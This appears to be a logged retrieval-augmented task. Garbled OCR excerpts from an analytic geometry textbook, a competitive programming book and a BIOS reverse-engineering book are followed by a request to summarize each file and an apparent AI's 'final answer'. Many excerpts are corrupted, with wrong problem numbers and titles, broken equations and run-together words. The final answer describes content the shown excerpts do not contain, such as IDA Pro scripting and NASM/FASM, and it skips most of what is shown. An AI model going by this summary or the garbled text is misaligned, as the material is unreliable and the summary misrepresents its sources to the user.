position \( k = 0 \) if \( k = 1 \)? 43. The equation of the circle determined by the three given points \( (x_1, y_1) \), \( (x_2, y_2) \), and \( (x_3, y_3) \) may be written in determinant form as follows: \[ \begin{vmatrix} x_1 & y_1 & 1 \\ x_2 & y_2 & 1 \\ x_3 & y_3 & 1 \\ \end{vmatrix} = 0 \] Comparing the coefficients of \( x \) and \( y \) in the expansion of the determinant, show how \( S \) and \( S' \) can be represented as circles. Then show that the equation is satisfied for a circle \( r \), and for \( S \) and similarly for combinations of \( (x_1, y_1) \) and \( (x_2, y_2) \). The exercise may be simplified by those who are not familiar with determinants. 44. Determine the point from which the tangents to the circles \( x^2 + y^2 - 2x - 6 = 0 \) and \( x^2 + y^2 - 2y + 2x + 4 = 0 \) are each equal to \( \sqrt{10} \). 45. Find the equation of the locus of the point \( P \) which moves so that the tangent from \( P \) to the circle \( x^2 + y^2 - 6x + 7 = 0 \) is equal to the distance from \( P \) to the point \( (-7, 5) \). 46. The point \( P \) moves such that the tangents from \( P \) to the circles \( x^2 - 6x - 2 = 0 \) and \( x^2 + 6x - 2y = 2 \) are inversely proportional to the radius. Find the locus of \( P \). 47. Find the equation of the locus of the point \( P \) which moves so that the distance from \( P \) to the point \( (1, -1) \) is twice the length of the tangent from \( P \) to the circle \( x^2 + y^2 - 7x - 12 = 0 \). 48. Show that the locus of points from which tangents drawn to the circles \( x^2 + y^2 - 12 = 0 \) and \( x^2 + y^2 - 3y - 4 = 0 \) are in the ratio 2:3 is a circle. Find the center of this circle. 49. If the circles share the same radial axis, the lengths of the tangents to two of the circles from a point on the third line is a constant ratio. ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 21 Context: # 1.2 TIPS TO BE COMPETITIVE Exercise 1.2.1. Read the UVa [28] problems shown in Table 1.2 and determine their problem types. The first and the fifth ones have been filled in for you. Filling this table is easy after mastering both the basic and advanced techniques for solving these problems as discussed in this book. Please revisit this section when you have finished reading this book. | UVa Unit | Problem Type | Hint | |----------|------------------------------------------------|----------------| | 10394 | Red Attack | Complete Search or Dynamic Programming Section 3.2 & 3.5 | | 11290 | Design of Lowcost | Section 3.3 | | 11301 | Wedding Shopping | Section 3.4 | | 11401 | Forming Quiz Teams DP + Bitmask | Section 4.1 | | 11681 | Angry Programmer | Section 4.2 | | 12036 | Pie Fire!! | Section 4.7 | | 10717 | GATTACA | Section 6.2 | | 10155 | Glasses - Tile Packers | Section 6.7 | Table 1.2: Exercise: Classify These UVa Problems The goal is not just to map problems into categories as in Table 1.1. After you are familiar with most of the topics in this book, you can classify the problems into just four types as in Table 1.3. | No. | Category | Candidate and Expected Solving Spent | |-----|----------|------------------------------------------------| | A | I have solved this type before | I can undertake this type again (not fast) | | B | I have solved this type before | But I know doing the solution takes time | | C | I have solved this type before | But I don’t have to or cannot solve it | | D | I have not seen this type before | I may (not) be able to solve it under contest time | Table 1.3: Problems Types (Compact Form) To be competitive, you must frequently classify the problems that you read in the problem as into type A (or at least type B). ## 1.2.2 Tip 3: Do Algorithm Analysis Once you have designed an algorithm to solve a particular problem in a programming contest, you must then ask this question: Given the maximum input bound (usually this is a good problem framing), what is the worst-case developed algorithm's behavior? Specifically, how fast or slow is the earth-dedicated problem? Sometimes there are many ways to attack a problem. However, some of them may be more efficient than others. Remember that serving the problem correctly is paramount to your success — especially the time allocated to solve next problems, as it will produce the current answers! For example, if the input size is \( n \), of order \( O(n \log n) \) (or \( O(n^2) \)), and your algorithm has a complexity of \( O(n) \) or linear, you combine terms like that (you don't go beyond). Thus, letting the input size \( n \) grow to twice as large (or any constant multiple), the running time becomes \( O(n \log n) \) just for \( n = 1000 \) whereas for \( n = 10000 \) one gets \( \log(10000) \) which is just 14, and the running outcome is the fact that up to \( 10^7 \) one might expect 10 million operations or the time taken! Thinking from first principles and testing against the interested algorithm that works is crucial. However, skills are paramount to producing realistic methods to monitor your output influence or obtain the better solution where it is equal, also sharing your chances that one can come up with the correct solution is higher. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 255 Context: - **UVa 10085** - Jim's Riddles, 154 - **UVa 10084** - A Ho to Catch A Jam, 194 - **UVa 10070** - How many ways can a horse... ? 138 - **UVa 10062** - Tell the Precise, 154 - **UVa 10016** - The Twin Towers, 162 - **UVa 10047** - Safe and Sound, 94 - **UVa 10069** - District Subsequence, 211 - **UVa 10023** - Back to School Physics, 122 - **UVa 10073** - Controlled Exchange Sort, 294 - **UVa 10074** - Take the Land, 148 - **UVa 10075** - Artists' , 187 - **UVa 10077** - The Star's-Boot Number ..., 50 - **UVa 10078** - Art Gallery, 194 - **UVa 10079** - Parks Cutout, 132 - **UVa 10081** - Weight Watchers, 211 - **UVa 10082** - DSWRT, 126 - **UVa 10083** - Those are My Islands!, 194 - **UVa 10084** - The Problem with ..., 112 - **UVa 10085** - An Easy Problem, 387 - **UVa 10086** - Play Fair, 36 - **UVa 10087** - The Greatest Gift, 40 - **UVa 10088** - Longest Match, 180 - **UVa 10089** - Longest Road, 182 - **UVa 10090** - Find Poisoned Plant, 44 - **UVa 10091** - Fridrich Permutation, 151 - **UVa 10092** - Perfect Polynomial, 153 - **UVa 10093** - The Zuleg, 464 - **UVa 10094** - Exceeding Limits, 4 - **UVa 10095** - Extra Remorse, 282 - **UVa 10096** - Samurai Supert, 68 - **UVa 10097** - Alose & Golec, 2 - **UVa 10098** - Counting Next, 43 - **UVa 10100** - The Top 1, 276 - **UVa 10101** - Heisenberg Uncertainty, 53 - **UVa 10102** - A Big Duck, 238 - **UVa 10103** - Makeup Problem, 123 - **UVa 10104** - The Earth Mover, 38 - **UVa 10105** - Doubles, 94 - **UVa 10106** - Shellsort, 54 - **UVa 10107** - Sieve of Eratosthenes, 123 - **UVa 10108** - A Problem 97, 2 - **UVa 10109** - Number Games, 211 - **UVa 10110** - Storm Game, 16 - **UVa 10111** - Hurdles 4, 181 - **UVa 10112** - Starting Point Problem, 134 - **UVa 10113** - Meeting Mugul, 7 - **UVa 10114** - The Language Script, 26 - **UVa 10115** - Game of Chess, 44 - **UVa 10116** - Simulations, 4 - **UVa 10117** - (2^a) + (3^b) Rest/Choice, 45 - **UVa 10118** - Control the Fears, 37 - **UVa 10119** - Recompose Rebalanced, 183 - **UVa 10120** - The Puzzle Problem, 248 - **UVa 10121** - A Simple Plan, 213 - **UVa 10122** - The Maturator, 1, 304 - **UVa 10123** - An Outdated Magic Script, 57 - **UVa 10124** - Don't Shoot, 124 - **UVa 10125** - Improvisation, 1, 62 - **UVa 10126** - Vacant Lot, 182 - **UVa 10127** - Solar Nuclear License, 155 - **UVa 10128** - Football Kicks & Soccer, 52 - **UVa 10129** - The Knife that the Forum..., 185 - **UVa 10130** - Receiving Addresses, 1, 225 - **UVa 10131** - Runners Problem, 17, 80 - **UVa 10132** - Sights and Stories, 50 - **UVa 10133** - Photogenesis, 20 - **UVa 10134** - Youngster's Elimination, 156 - **UVa 10135** - The Last Say, 1, 139 - **UVa 10136** - !Exec, 138 - **UVa 10137** - High Flows, 21 - **UVa 10138** - Lincoln Baseball, 154 - **UVa 10139** - The Overlap, 20 - **UVa 10140** - Flourish, 7, 7 - **UVa 10141** - The Trick, 5, 2 - **UVa 10142** - Cake Cook, 135 - **UVa 10143** - The Trap, 1, 254 - **UVa 10144** - Prime Discretize, 23 - **UVa 10145** - Final Remorse, 17 - **UVa 10146** - Easy Heaps, 1 - **UVa 10147** - Highways, 80 - **UVa 10148** - Researches, 23 - **UVa 10149** - Counting Noisemakers, 134 - **UVa 10150** - Abstraction, 88 - **UVa 10151** - The Fence, 61 - **UVa 10152** - Shellsort, 54 - **UVa 10153** - Traffic Scene, 211 - **UVa 10154** - Spiral Maze, 198 - **UVa 10155** - Black Hole, 134 - **UVa 10156** - Cactus Display, 45 - **UVa 10157** - Bashful, 187 - **UVa 10158** - The Best Of, 100 - **UVa 10159** - Such A Stinger, 54 - **UVa 10160** - Smart device, 3 - **UVa 10161** - Gafats, 126 - **UVa 10162** - Family Gems, 30 - **UVa 10163** - Homecoming, 136 - **UVa 10164** - Simple Read, 135 - **UVa 10165** - Replenisher, 201 - **UVa 10166** - Birthday Cake, 145 - **UVa 10167** - Space Game, 16 - **UVa 10168** - Thread 007, 134 - **UVa 10169** - Bouncing Back, 48 - **UVa 10170** - 3!6-1/2 Dog Rest, 151 - **UVa 10171** - Solitary Activist, 176 - **UVa 10172** - The Army of Yankees!, 21 - **UVa 10173** - Spiral Maze Escape, 39 - **UVa 10174** - Bounded Solutions, 190 - **UVa 10175** - Racket Ball, 145 - **UVa 10176** - Chessboard Tiles, 124 - **UVa 10177** - exhaustive Board, 141 - **UVa 10178** - Discrete Tables, 180 - **UVa 10179** - Complicated Problem, 124 - **UVa 10180** - The Bugs, 168 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 357 Context: # Figure 9.6 Cflasher Directory Structure In figure 9.6, `cflasher` source code is placed in the directory named `flasher_3.5.0`. There are dedicated directories for the flash model that it supports, namely, `nics`, `bios`, `ct`, and `ide`. `Nics` contains source code related to PCI network interface cards that `cflasher` supports. `Bios` contains source code for a motherboard based on the SiS 630 chipset. `Ct` contains source code for the proprietary `cflasher` hardware. `Ide` contains files for the IDE `cflasher` interface. The directory named `modules` is empty at first. It will be filled by `cflasher`'s LKM when you have finished compiling the code. The directory named `build2.6` contains the makefile for kernel 2.6. Finally, the directory named `flash` contains the source code for the flash ROM chip supported by `cflasher`. `Cflasher` source code is well-structured, and it's easy to understand. For PCI NIC, you start to learn the `cflasher` source code by studying the NIC support files in the `nics` directory and then proceed to the `flash` directory to learn about the flash ROM-related routines. The PCI NIC support file provides routines needed to access the flash ROM onboard, and the flash ROM support file provides the specific write, erase, and read routine for the corresponding flash ROM chip. #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 252 Context: 246 # POINT, PLANE, AND LINE ## THEOREM. PROJECTION OF A BROKEN LINE **257.** The sum of the projections of the parts AB, BC, CD of a broken line ABCD on any line l is equal to the projection of the straight line AD on l. **Proof.** Let the projections of A, B, C, D be A', B', C', D'. Then the projections of the segments AB, BC, CD, and AD on l are A'B', B'C', C'D', A'D' respectively, and the proof of the theorem follows from the fact that \[ A'B' + B'C' + C'D' = A'D. \] It should be remembered that the projections are directed segments; thus, if \(A'B'\) is positive, \(B'C'\) is negative. The theorem is obviously true for a broken line having any number of parts. It is not assumed that the parts of the broken line lie in one plane. **258. Equation of a Surface.** If P(x, y, z) is any point on the sphere of radius r having the origin as center, then \[ x^2 + y^2 + z^2 = r^2 \] Since this equation expresses the fact that \(P(x, y, z)\) is true for all points \((x, y, z)\) on the sphere, and for no other points, it is called the equation of the sphere. In general, the equation of a surface is an equation which is satisfied by the coordinates of every point on the surface, and by the coordinates of other points. The subsequent work is concerned around expressions involving the first and second degrees in x, y, and z, and with the surfaces which these equations represent. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 8 Context: Typographical Conventions In this book, the courier font is used to indicate that text is one of the following: 1. Source code 2. Numeric values 3. Configuration file entries 4. Directory/paths in the file system 5. Datasheet snippets 6. CPU registers Hexadecimal values are indicated by prefixing them with a 0x or by appending them with h. For example, the integer value 4691 will, in hexadecimal, look like 0x1253 or 1253h. Hexadecimal values larger than four digits will be accompanied by underscore every four consecutive hexadecimal digits to ease reading the value, as in 0xFFFF_0000 and 0xFD_FF00_0000. Binary values are indicated by appending them with b. For example, the integer value 5 will, in binary, look like 101b. Words will appear in the italic font, in this book, for following reasons: 1. When defining a new term 2. For emphasis Words will appear in the bold font, in this book, for the following reasons: 3. When describing a menu within an application software in Windows 4. A key press, e.g. CAPSLOCK, G, Shift, C, etc. 5. For emphasis #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 90 Context: ```markdown ## 84 THE STRAIGHT LINE 32. The hypotenuse of a right triangle is \( h \), where \( A \) is the point \( (1, 1) \) and \( B \) is the point \( \left( \frac{7}{2}, 7 \right) \). If the distance of the vertex \( C \) of the right angle is 5, what is the coordinates of \( C \)? 33. The hypotenuse \( AB \) of an isosceles right triangle \( ABC \) joins \( (1, 1) \) and \( (0, 0) \). Find the coordinates of \( C \). 34. The vertex \( C \) of the right angle of right triangle \( ABC \) is \( (2, 3) \), and \( A \) is the point \( (4, -1) \). If the hypotenuse is parallel to the line \( 2x - y = 7 \), find the equations of the three sides of the triangle. 35. Find the distance between the two parallel lines \( 2x + y = 10 \) and \( 2x + y = 15 \). 36. Find the equations of the tangents from \( T \) to the circle \( x^2 + y^2 = 25 \). --- ### For any straight line prove that: 37. \[ \text{mn} = 33, \quad \text{cot} \theta = \frac{p}{(1 + mw)} \] ### Find the point which is: 40. Equidistant from the line \( 3y = 4x - 24 \), the x-axis, and the y-axis. 41. On the x-axis and \( 7 \) units from the line \( 4x + 3y = 15 \). 42. In the second quadrant, equidistant from the axes and \( 2 \) units from the line \( 6x - 8y = 33 \). 43. Equidistant from \( (2, 0) \) and \( (2, -2) \) and also equidistant from the lines \( 2x + y = 10 \) and \( 2x + 4y + 9 = 0 \). ### Given the points \( A(2, 4) \), \( B(3, 5) \), and \( C(1, 3) \), draw the triangle ABC and find the following points: 44. \( D \), the center of the circumcircle. 45. \( E \), the intersection of the medians. 46. \( N \), the intersection of the altitudes. 47. Show that the points \( L, M, \) and \( N \), found in the three problems immediately proceeding, are collinear. Show also that \( NM : ML = 2:1 \). ``` #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 144 Context: 1000:B2D8 pusha 1000:B2D9 movzx cx, lzh_hdr_len 1000:B2DE push es 1000:B2DF push si 1000:B2E0 mov si, 0 1000:B2E3 mov ax, 2 1000:B2E6 1000:B2E6 next_hdr_byte: ; ... 1000:B2E6 mov bx, src_lo_word 1000:B2EA add bx, ax 1000:B2EC push ax 1000:B2ED call get_src_byte 1000:B2F0 mov [si], al 1000:B2F2 pop ax 1000:B2F3 inc ax 1000:B2F4 inc si 1000:B2F5 loop next_hdr_byte 1000:B2F7 sub ax, 2 1000:B2FA pop si 1000:B2FB pop es 1000:B2FC mov lzh_hdr_len, al 1000:B2FF mov cx, ax 1000:B301 add word ptr orig_size, ax 1000:B305 inc cx 1000:B306 mov bx, 0 1000:B309 1000:B309 next_byte: ; ... 1000:B309 movzx ax, byte ptr [bx] 1000:B30C dec cx 1000:B30D jcxz short exit 1000:B30F call patch_crc16 ; Patch the new crc16 value 1000:B312 inc bx 1000:B313 jmp short next_byte 1000:B315 1000:B315 exit: ; ... 1000:B315 popa 1000:B316 retn 1000:B316 Read_Basic_LZH_Hdr endp ......... 1000:B337 Calc_LZH_Hdr_8bit_sum proc near ; ... 1000:B337 push bx 1000:B338 push cx 1000:B339 push dx 1000:B33A mov ax, 0 1000:B33D movzx cx, lzh_hdr_len 1000:B342 1000:B342 next_hdr_byte: ; ... 1000:B342 movzx bx, lzh_hdr_len 1000:B347 sub bx, cx 1000:B349 movzx dx, byte ptr [bx+0] 1000:B34E add ax, dx 38 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 77 Context: Part II Motherboard BIOS Reverse Engineering Chapter 4 Getting Acquainted With the System PREVIEW This chapter explains the big picture of the BIOS code execution mechanism. The BIOS does not execute code in the same way as most application software. The hardware and software intricacies, as well as the compatibility issues, inherited from the first-generation x86 processor complicate the mechanism. These intricacies and the x86 hardware architecture overall are explained thoroughly in this chapter. Note that the focus is on the motherboard, CPU, and system logic.1 4.1. Hardware Peculiarities When it comes to the BIOS, PC hardware has many peculiarities. This section dissects those peculiarities and looks at the effect of those peculiarities on BIOS code execution. 4.1.1. System Address Mapping and BIOS Chip Addressing The overall view of PC hardware architecture today is complex, especially for people who didn't grow up with DOS. What does modern-day hardware have to do with DOS? DOS has a strong bond with the BIOS and the rest of the hardware. This difficult relationship has been inherited for decades in the PC hardware architecture to maintain compatibility. DOS has many assumptions about the BIOS and the rest of the hardware that interact with it. Unlike a modern-day operating system, DOS allows the application software to interact directly with the hardware. Thus, many predefined address ranges have to be maintained in today's PC hardware as they worked in the DOS days. Currently, the bulk of these predefined address range tasks are handled by the motherboard chipset, along 1 System logic is another term for motherboard chipset. 1 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 55 Context: earchsolutionsareusuallyonlyrewardedwithlowmarks.Nevertheless,CompleteSearchshouldbeusedwhenwecannotcomeupwithabettersolutioninordertograbthatpreciouslowmarks.Sometimes,runningCompleteSearchonsmallinstancesofachallengingproblemcangiveussomepatternsfromtheoutput(itispossibletovisualizethepatternforsomeproblems)thatcanbeexploitedtodesignafasteralgorithm.YoumaywanttoseesomecombinatoricsproblemsinSection5.4thatcanbesolvedthisway.Then,theCompleteSearchsolutionwillalsoactasaverifieronsmallinstancesforthefasterbutnon-trivialalgorithmthatyoumanagetodevelop.39 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 1 Context: ContentsForewordvPrefaceviAuthors’ProfilesandCopyrightxiConventionandProblemCategorizationxiiListofAbbreviationsxiiiListofTablesxivListofFiguresxv1Introduction11.1CompetitiveProgramming.................................11.2TipstobeCompetitive..................................21.2.1Tip2:QuicklyIdentifyProblemTypes.....................41.2.2Tip3:DoAlgorithmAnalysis...........................51.2.3Tip4:MasterProgrammingLanguages.....................81.2.4Tip5:MastertheArtofTestingCode......................101.2.5Tip6:PracticeandMorePractice........................121.2.6Tip7:TeamWork(ICPCOnly).........................121.3GettingStarted:TheAdHocProblems.........................131.4ChapterNotes.......................................192DataStructuresandLibraries212.1OverviewandMotivation.................................212.2DataStructureswithBuilt-inLibraries..........................222.2.1LinearDataStructures..............................222.2.2Non-LinearDataStructures............................262.3DataStructureswithOur-OwnLibraries.........................292.3.1Graph........................................292.3.2Union-FindDisjointSets.............................302.3.3SegmentTree....................................322.3.4FenwickTree....................................352.4ChapterNotes.......................................383ProblemSolvingParadigms393.1OverviewandMotivation.................................393.2CompleteSearch......................................393.2.1Examples......................................403.2.2Tips.........................................413.3DivideandConquer....................................47i #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 405 Context: }break; default: { // Move "length" byte in the formatted area of // the structure i += smbios_table[i+1]; // Point to the start of // the strings // "Print" the strings len = 0; k = 1; j = 0; while(1) { // Check for end-of-structure marker if(0 == *((unsigned short*)(&smbios_table[i+j])) ) { if( len > 0 ) { memset(str, '\0' , sizeof(str)); strncpy(str, &smbios_table[i+j-len], len); fprintf(f, "String no. %d : %s\n", k, str); } fprintf(f, "\n\n"); break; } if( ( 0 == smbios_table[i+j]) && (len > 0) ) { memset(str, '\0' , sizeof(str)); strncpy(str, &smbios_table[i+j-len], len); fprintf(f, "String no. %d : %s\n", k, str); len = 0; k++; } if( isprint(smbios_table[i+j]) ) { len++; } j++; } #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 282 Context: ``` # 276 SURFACES ## 295. General Equation of the Second Degree The general equation of the second degree in \( x, y, \) and \( z \) is \[ ax^2 + by^2 + cz^2 + dxy + exz + fyz + hx + iy + j = 0 \] By transformations of coordinates analogous to those which we employed in Chapters VI and X, this equation can always be reduced to one of the forms \[ (Ax + By + Cz)^2 = D^2 \] \[ Ax^2 + By^2 + Cz = 0 \] The theory of transformations in three dimensions, and the relations referred to in the above statement, will not be given in this look. The ellipsoid and hyperboloids are included under (1), and the paraboloids under (2). These are the only surfaces which are represented by equations of the second degree, and are called conoids (§ 288). They include as special cases the sphere, cylinder, and cone. ## 206. Locus of any Equation The locus of a point whose coordinates satisfy any given equation in \( x, y, \) and \( z \) may be investigated by the method which we have employed in §§ 289-294; that is, by examining the traces and contours of the locus. It is evident that these traces and contours are curves of some kind, since when any constant \( k \) is substituted for \( z \) in the equation, we obtain an equation in two variables, and this equation represents a curve in the plane \( z = k \). We then see that: ### Every equation in rectangular coordinates represents a surface in space. It is often useful to form in the mind a clear picture of the surface represented by an equation, even after the traces and contours have been studied. ``` #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 72 Context: LDFLAGS= -T pci_rom.ld The name of the linker script is pci_rom.ld. The content of this script is shown in listing 3.4. Listing 3.4 Sample Linker Script /* ============================================================== */ /* Copyright (C) Darmawan Mappatutu Salihun */ /* File name : pci_rom.ld */ /* This file is released to the public for noncommercial use only */ /* ============================================================== */ OUTPUT_FORMAT("elf32-i386") OUTPUT_ARCH(i386) ENTRY(_start) __boot_vect = 0x0000; SECTIONS { .text __boot_vect : { *( .text) } = 0x00 .rodata ALIGN(4) : { *( .rodata) } = 0x00 .data ALIGN(4) : { *( .data) } = 0x00 .bss ALIGN(4) : { *( .bss) } = 0x00 } Now, return to figure 3.3 to understand the contents of listing 3.4. First, let me clarify that a comment in a linker script starts with /* and ends with */ just as in C programming language. Thus, the first effective line in listing 3.4 is the line that declares the output format for the linked files: OUTPUT_FORMAT("elf32-i386") 9 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 171 Context: # 6.3 AD HOC STRING PROCESSING PROBLEMS © Steven & Felix ## 1. Problems 1. UVA 11136 - Minimal Function (extract multiple functions from a list, pos) 2. UVA 11820 - Permutation Character (simple mathematical expressions parsing) 3. UVA 00126 - Bookmarks (requiring (non)trivial techniques) 4. UVA 00140 - Marvelous Maps (integer manipulation, output formatting) 5. UVA 00141 - Amazing Waves (arc sine and cosine properties) 6. UVA 00142 - Not That Kind of Graph (circle constant and simple methods) 7. UVA 00143 - Show Hidden (a linear search can solve this 'easy' problem) 8. UVA 00153 - Extra Spaces (replace consecutive spaces with one space) ## 2. String Operations, Errors, Exceptions 1. UVA 06014 - Ellipses (find emoticons and compose; see if a word is an exact word) 2. UVA 03641 - Immaculate Description (is a palindrome?; better know) 3. UVA 10701 - Field Checker (converting) 4. UVA 11211 - Automatic Correction (flexible string edit dictionary) 5. UVA 11275 - Just Configuration (validating and augmented reality expansions) 6. UVA 11276 - Partial Anagrams (certification and comparing) 7. UVA 11281 - Edit String (inputting) 8. UVA 11381 - Best Number of Names (limited string comparisons) ### Just for Fun 1. UVA 09873 - Permutation Checker (similar to UVA 941) 2. UVA 10267 - Naming Ciphers (digits, convert to integers, draw code, simulate) 3. UVA 10974 - Linker (links, data structures; user to user data) 4. UVA 10072 - Interesting Digits (the digits in the permutation of existing) 5. UVA 10931 - Perpetuating (finding the first permutation of a string) 6. UVA 10106 - Fibonacci (where it appears) 7. UVA 10648 - One More Linked List (size of linked lists in the problem description) 8. UVA 11123 - Level Setting (links based on checking if C is a number of A's) 9. UVA 10975 - Left Sequence (finding special input, B) 10. UVA 10479 - Digital Render (routing; mini circuit to 5 parameters) 11. UVA 11200 - Extra Digital (random relation to UVA 941; too many) 12. UVA 12030 - Rational Relationship (complete integers) 13. UVA 10172 - Bathing Program (validating other equations) 14. UVA 12490 - Steve and the Cheeky Child (string input) 15. UVA 12491 - Temple Keeps (checking) ## Conclusion Although the problems listed in this section constitute 77% of the problems listed in this chapter, we have to make a remark that most recent problems in ACM (ICPC and IOI) usually do not focus mainly on these recursive ones but rather on the 'Greedy' problem that matches demands (constructs) that should be solved. In the next few sections, we will be discussing problems (Section 6.4) that focus on solving recursive problems while diving into dynamic programming (DP) (Section 6.5) that should be the first approach against those string-processing problems where we have to make it efficient. In the end, an efficient data structure for strings like Suffix Tree, Suffix Array must be used. We discuss these data structures and several specialized algorithms using those data structures in Section 6.6. #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 25 Context: # INCLINATIONS AND SLOPES ## Exercise 6: Inclinations and Slopes Find the slope of the line through each of the following pairs of points, and state in each case whether the angle of inclination is an acute, obtuse, or a right angle. 1. \( (2, 3) \) and \( (6, 8) \) 2. \( (2, -1) \) and \( (6, -3) \) 3. \( (7, -7) \) and \( (-3, -2) \) 4. \( (4, 1) \) and \( (6, 4) \) 5. \( (4, 1) \) and \( (4, -4) \) 6. \( (6, -3) \) and \( (3, -3) \) 7. Show how to construct lines whose slopes are \( \frac{2}{3}, \frac{1}{4}, -\frac{1}{2}, \) and \( -b \). 8. Draw a square with one side on the x-axis, and find the slopes of its diagonals. 9. Draw an equilateral triangle with one side on the x-axis and the opposite vertex below the x-axis. Find the slope of each side, and the slope of the bisector of each angle. 10. Draw the triangle whose vertices are \( (4, -1), (3, 2), \) and \( (2, -6) \), and find the slope of each side. 11. Show by slopes that the points \( (2, 12), (3, 3) \) and \( (4, 5) \) are on one straight line. 12. If \( A(-5, -3) \) and \( B(3, 7) \) are the ends of a diameter of a circle, show that the center is \( (1, 2) \). 13. Draw the circle with center \( (0, 0) \) and radius \( r \). Show that \( A(4, 4) \) is on this circle. Draw \( AB \) tangent to the circle at \( A \), and find the slope of \( AB \). 14. If the slope of the line through \( (-k, 3) \) and \( (5, -k) \) is \( 5 \), find the value of \( k \). Plot the points and draw the line. 15. Show that the angle of inclination of the line through the points \( (-2, -2) \) and \( (3, 6) \) is twice the angle of inclination of the line through the points \( (3, -1) \) and \( (6, 1) \). Show that \( \tan \alpha = \tan 2 \alpha \). ########## """QUERY: Please summarize the whole context. It is important that you include a summary for each file. All files should be included, so please make sure to go through the entire context""" Consider the chat history for relevant information. If query is already asked in the history double check the correctness of your answer and maybe correct your previous mistake. If you find information separated by a | in the context, it is a table formatted in Markdown - the whole context is formatted as md structure. If the client ask for a formatting structure follow his advise. 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Page 171, Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf - Page 25 ================================================== **Elapsed Time: 9.63 seconds** ================================================== FINAL ANSWER Answer: The provided context is a collection of excerpts from the book "Competitive Programming, 2nd Edition" by Steven Halim and Felix Halim, and "BIOS Disassembly Ninjutsu Uncovered, 1st Edition" by Darmawan Salihun, along with an excerpt from "Analytic Geometry (1922)" by Lewis Parker Siceloff, George Wentworth, and David Eugene Smith. Here's a summary of each file: **File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf** This file is a chapter from the book "Competitive Programming, 2nd Edition" focusing on string processing. It covers the importance of string processing in competitive programming, particularly in ICPC and IOI contests. The chapter introduces basic string processing skills, string matching algorithms (including Knuth-Morris-Pratt), string processing with dynamic programming, and advanced data structures like Suffix Trees and Suffix Arrays. **File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf** This file is a chapter from the book "BIOS Disassembly Ninjutsu Uncovered, 1st Edition" that delves into reverse code engineering techniques using IDA Pro disassembler. It covers binary scanning, IDA Pro scripting, plugin development, and the internal structure of Award BIOS. The chapter also explains how to build flat binary files from assembly language code using NASM and FASM. **File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf** This file is an excerpt from the book "Analytic Geometry (1922)" focusing on geometric magnitudes, loci and their equations, the straight line, the circle, transformation of coordinates, the parabola, the ellipse, the hyperbola, conics in general, polar coordinates, higher plane curves, point, plane, and line, and surfaces. It covers various geometric concepts and their mathematical representations. ================================================== **Elapsed Time: 0.59 seconds** ==================================================